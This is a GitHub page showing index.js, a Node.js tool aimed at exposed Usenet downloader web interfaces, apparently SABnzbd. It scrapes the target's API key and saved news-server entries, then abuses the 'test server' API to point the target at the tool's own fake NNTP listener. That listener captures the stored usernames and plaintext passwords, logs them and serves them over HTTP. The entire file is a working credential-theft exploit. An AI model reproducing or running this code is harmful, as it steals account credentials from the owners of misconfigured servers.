-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.js
343 lines (318 loc) · 8.15 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
import { JSDOM } from "jsdom";
import { readFileSync } from "fs";
import config from "./config.json" assert { type: "json" };
import undici from "undici";
import net from "net";
import fastify from "fastify";
import chalk from "chalk";
const httpServer = fastify({
// logger: true,
});
const nntpServer = net.createServer();
const testServerBodyBase = {
mode: "config",
name: "test_server",
apikey: "",
output: "json",
server: "",
ajax: "1",
enable: "1",
displayname: "",
host: "",
port: "",
username: "",
password: "**********",
connections: "1",
priority: "0",
retention: "0",
timeout: "20",
ssl_verify: "0",
ssl_ciphers: "",
expire_date: "",
quota: "",
notes: "",
};
const testServerHeaders = {
Accept: "*/*",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
Referer: "",
};
let credentials = {};
let cache = [];
// #region HTTP
const bRequest = async (url, opts = {}) => {
let body;
let err;
try {
body = (
await undici.request(url, {
...opts,
bodyTimeout: 30000,
})
).body;
} catch (e) {
err = e.message;
}
return [err, body];
};
httpServer.get("/", async (_, reply) => {
const file = readFileSync("./index.html");
reply.type("text/html").send(file);
});
httpServer.get("/robots.txt", async (_, reply) => {
reply.send(`User-agent: *
Disallow: /`);
});
httpServer.get("/:target", async (request) => {
const { target } = request.params;
if (
cache.find((cached) => cached.ip === target.split(":")[0]) &&
cache.find((cached) => cached.ip === target.split(":")[0]).time <
Date.now() - 60 * 60 * 1000
) {
cache.splice(
cache.findIndex((cached) => cached.ip === target.split(":")[0]),
1,
);
} else if (cache.find((cached) => cached.ip === target.split(":")[0])) {
return {
error: false,
data: credentials[target.split(":")[0]].filter((cred) => cred.password),
};
}
credentials[target.split(":")[0]] = [];
if (!target.match(/[0-9]+(?:\.[0-9]+){3}:[0-9]+/)?.length) {
console.log(
chalk.red.bold(` │ [http] invalid ip address passed. (${target})`),
);
return {
error: true,
data: {
message: "Invalid IP Address",
},
};
}
const baseUrl = `http://${target}`;
console.log(chalk.green(`+ [http] (${target}) new target`));
const [error, body] = await bRequest(`${baseUrl}/config/server/`);
if (error) {
console.log(chalk.red.bold(` │ [http] (${target}) error. (${error})`));
return {
error: true,
data: {
message: error,
},
};
}
const rawBody = await body.text();
const { document } = new JSDOM(rawBody).window;
const apiKey = document.scripts[0].textContent
.split("apikey=")[1]
.split("'")[0];
const servers = [...document.querySelectorAll(".fullform")].map((form) => ({
server: form.querySelector("[name=server]").value,
host: form.querySelector("[name=host]").value,
description: form.querySelector("[name=displayname]").value,
username: form.querySelector("[data-hide=username]").value,
password: "",
port: form.querySelector("[name=port]").value,
ssl: Boolean(form.querySelector("[name=ssl]").value),
}));
for (let server of servers) {
const testServer = async (host, port, alt = false) => {
let [error, body] = await bRequest(`http://${target}/api`, {
method: "POST",
headers: {
...testServerHeaders,
Referer: `http://${target}/config/server/`,
},
body: new URLSearchParams({
...testServerBodyBase,
apikey: apiKey,
...(alt ? { server: server.server } : { server: server.description }),
...(alt ? { [server.server]: 1 } : { [server.description]: 1 }),
displayname: server.description,
host: host,
port: String(port),
...(server.ssl ? { ssl: "1" } : {}),
username: server.username,
}).toString(),
});
if (error) {
return [false, error];
}
let response = {};
try {
response = await body.json();
} catch (e) {
return [false, "JSON parsing error"];
}
return [response.value.result, response.value.message];
};
const originalPort = server.port;
const portsToTry = [originalPort, 563, 119];
let skipServer = true;
for (const port of portsToTry) {
let [result, message] = await testServer(server.host, port);
if (message.trim() === "Password masked in ******, please re-enter") {
[result, message] = await testServer(server.host, port, true);
}
if (
[
"Authentication failed, check username/password.",
"502 Authentication Failed",
].includes(message)
) {
console.log(
chalk.red.bold(
` │ [http] (${target}) username and password is invalid, skipping. (${server.host.toLowerCase()})`,
),
);
break;
}
if (!result) {
console.log(
chalk.red.bold(
` │ [http] (${target}) failed. (${server.host.toLowerCase()}:${port} | ${message.trim()})`,
),
);
continue;
}
skipServer = false;
console.log(
chalk.green.bold(
` │ [http] (${target}) valid credentials, connected successfully (${server.host.toLowerCase()})`,
),
);
break;
}
if (skipServer) continue;
const originalSsl = server.ssl;
server.ssl = false;
credentials[target.split(":")[0]].push({
...server,
});
let [_, message] = await testServer(
config.nntp.host,
config.nntp.port,
false,
);
if (message.trim() === "Password masked in ******, please re-enter") {
[_, message] = await testServer(server.host, port, true);
}
server.ssl = originalSsl;
credentials[target.split(":")[0]][""] = {
// god knows why this works
...credentials[target.split(":")[0]],
};
}
cache.push({ ip: target.split(":")[0], time: Date.now() });
return {
error: false,
data: credentials[target.split(":")[0]].filter((cred) => cred.password),
};
});
// #endregion
// #region NNTP
nntpServer.on("connection", (socket) => {
console.log(
chalk.blue(
` │ [nntp] (${socket.remoteAddress}) new connection established`,
),
);
const timeout = setTimeout(() => {
chalk.red.bold(" │ timeout.");
socket.destroy();
}, 10000);
let credentialKey = "";
socket.on("data", (data) => {
const stringifiedData = data.toString();
if (!stringifiedData.trim().startsWith("authinfo")) {
console.error(
chalk.red.bold(
` │ [nntp] (${socket.remoteAddress}) did not send right response.`,
),
);
socket.destroy();
}
const key = stringifiedData.trim().split(" ")[1];
const value = stringifiedData.trim().split(" ")[2];
if (key === "user") {
// this is to find IP if mismatched
Object.keys(credentials).forEach((addr) => {
if (
credentials[addr].find((server) => server.username === value.trim())
)
credentialKey = addr;
});
if (!credentialKey) return socket.destroy();
credentials[credentialKey][
credentials[credentialKey].length - 1
].username = value.trim();
}
if (key === "pass") {
credentials[credentialKey][
credentials[credentialKey].length - 1
].password = value.trim();
clearTimeout(timeout);
socket.destroy();
console.log(
chalk.blue.bold(
` │ [nntp] (${socket.remoteAddress}) grabbed credentials for (${
credentials[credentialKey][credentials[credentialKey].length - 1]
.server
}):`,
),
);
console.log(
chalk.blue(
` │ [nntp] username: ${
credentials[credentialKey][credentials[credentialKey].length - 1]
.username
}`,
),
);
console.log(
chalk.blue(
` │ [nntp] password: ${
credentials[credentialKey][credentials[credentialKey].length - 1]
.password
}`,
),
);
}
});
socket.write("\x00"); // handshake (get username)
setTimeout(() => {
socket.write("381"); // ask for password
}, 500);
});
// #endregion
const start = async () => {
try {
await httpServer.listen(
{
host: config.http.host,
port: config.http.port,
},
() => {
console.log(
chalk.greenBright(
`HTTP server listening on ${config.http.host}:${config.http.port}`,
),
);
},
);
nntpServer.listen(config.nntp.port, config.nntp.host, () => {
console.log(
chalk.greenBright(
`NNTP server listening on ${config.nntp.host}:${config.nntp.port}`,
),
);
});
} catch (err) {
httpServer.log.error(err);
process.exit(1);
}
};
start();